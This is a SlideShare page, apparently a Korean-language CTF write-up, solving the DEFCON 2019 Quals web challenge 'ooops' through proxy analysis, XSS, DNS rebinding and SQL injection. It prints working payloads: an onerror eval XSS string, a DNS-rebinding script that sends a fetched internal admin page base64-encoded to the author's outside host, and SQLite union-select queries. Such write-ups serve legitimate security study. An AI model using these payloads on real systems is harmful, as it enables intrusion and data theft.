[OpenTRS-001] ooops
0 likes52 views
This document provides instructions for solving a DEFCON 2019 Web quals challenge involving accessing an internal server through various techniques. It outlines 3 steps: 1) Analyzing the proxy settings to access the internal server, 2) Gaining internal access through cross-site scripting (XSS) or DNS rebinding, and 3) Using SQL injection to retrieve the flag by exploring the database schema. The challenge involves analyzing the proxy configuration, exploiting XSS or DNS rebinding vulnerabilities to bypass access restrictions, and using SQL injection to find the flag stored in the database.
![Step 1
• referer 헤더를 보면 내부 서버에서 부터 시작됨을 알 수 있음.
• 특정 주기로 내부 IP 가 계속 변경 됨. (10.0.*.*)
35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464
"http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64)
AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"](https://image.slidesharecdn.com/defcon2019-ooops-190621092459/85/OpenTRS-001-ooops-7-320.jpg)
![Step 2.1 - XSS
• URL 에 oooverflow 포함 시 blocked
페이지에 접근.
(e.g) http://10.0.*.*:5000/oooverflow
• main.js
• document.location 렌더링
function split_url(u) {
u = decodeURIComponent(u); // Stringify
output = u[0];
for (i=1;i<u.length;i++) {
output += u[i]
if (i%55==0) output+= "<br/>";
}
console.log(output)
return output
}
window.onload = function () {
d = document.getElementById("blocked");
d.innerHTML=(split_url(document.location) + " is blocked")
}](https://image.slidesharecdn.com/defcon2019-ooops-190621092459/85/OpenTRS-001-ooops-8-320.jpg)
[OpenTRS-001] ooops
- 1. DEFCON 2019 Quals Web - ooops
- 2. 문제 설명
- 3. Step 1 • info.pac 분석 • eval -> console.log
- 4. Step 1 • info.pac 분석 • OnlyOne:overflow@ooops.quals2019.oooverflow.io:8080 프록시 설정 후 oooverflow.io 접속
- 5. Step 1 • URL 에 oooverflow 포함 시 blocked 페이지에 접근.
- 6. Step 1 • URL 입력 시 봇이 실행 됨.
- 7. Step 1 • referer 헤더를 보면 내부 서버에서 부터 시작됨을 알 수 있음. • 특정 주기로 내부 IP 가 계속 변경 됨. (10.0.*.*) 35.236.48.134 - - [12/May/2019:13:37:41 +0900] "GET /aaaa HTTP/1.0" 404 464 "http://10.0.1.69:5000/admin/view/15" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
- 8. Step 2.1 - XSS • URL 에 oooverflow 포함 시 blocked 페이지에 접근. (e.g) http://10.0.*.*:5000/oooverflow • main.js • document.location 렌더링 function split_url(u) { u = decodeURIComponent(u); // Stringify output = u[0]; for (i=1;i<u.length;i++) { output += u[i] if (i%55==0) output+= "<br/>"; } console.log(output) return output } window.onload = function () { d = document.getElementById("blocked"); d.innerHTML=(split_url(document.location) + " is blocked") }
- 9. Step 2.1 - XSS • http://oooverflow.io/<img src=x onerror=alert(1)>
- 10. Step 2.1 - XSS • 55글자 마다 <br/> 추가 • eval( location.hash ) http://10.0.*.*:5000/oooverflow/aaaaaaaaaaaaaaaaaaaaaaaaa/ <img src=x onerror=eval(location.hash.substring(1))> #eval(unescape('alert("1")'))
- 11. Step 2.2 - DNS Rebinding • DNS Rebinding • SOP(Same-origin policy)
- 12. Step 2.2 - DNS Rebinding • DNS Rebinding 1. test.wooeong.kr 접근 ( test.wooeong.kr = 45.32.62.117 ) 2. Delay 발생 ( DNS 변경 ) 3. test.wooeong.kr 재접근 ( test.wooeong.kr = 127.0.0.1 ) 4. 127.0.0.1 접근 !
- 13. Step 2.2 - DNS Rebinding <script> setTimeout(function() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://test.wooeong.kr/admin/view/1"); xhr.onreadystatechange = function () { if (xhr.status === 200) { location.href = "http://wooeong.kr/res?x=" + btoa(xhr.responseText); } }; xhr.send(); }, 10000); </script>
- 14. Step 3 - SQL Injection <!doctype html> <html> <head> <title>OOOPS — Evaluate Requests</title> <link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/ iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head> <body> <div class="container"> <div class="row"> <!-- Query: select rowid,* from requests where rowid=1; --> <p> Request #1 from b'10.255.0.2'. Automatically evaluated </p> <a id="lnk" class="btn btn-secondary btn-block btn-lg" href="http://3ccdcab0.0a00061a.rbndr.us:5000"> Visit http://3ccdcab0.0a00061a.rbndr.us:5000 </a> </div> </div> </body> </html>
- 15. Step 3 - SQL Injection • Simple SQL Injection ( SQLite ) 1. Union select - 컬럼 개수 맞추기 union select 1,2,3,4,5 2. 스키마 탐색 - sqlite_master 0 union select 1,group_concat(name),3,group_concat(sql),5 from sqlite_master where type='table' ==> CREATE TABLE flag (name TEXT, flag TEXT),CREATE TABLE requests (ip TEXT, ts datetime, url TEXT, visited integer)
- 16. Step 3 - SQL Injection
- 17. 결론 1. info.pac 분석 - 프록시 연결 2. 내부로 접근할 수 있는 방법 찾기 - XSS - DNS Rebinding 3. SQL Injection 4. Get FLAG !
- 18. Thank you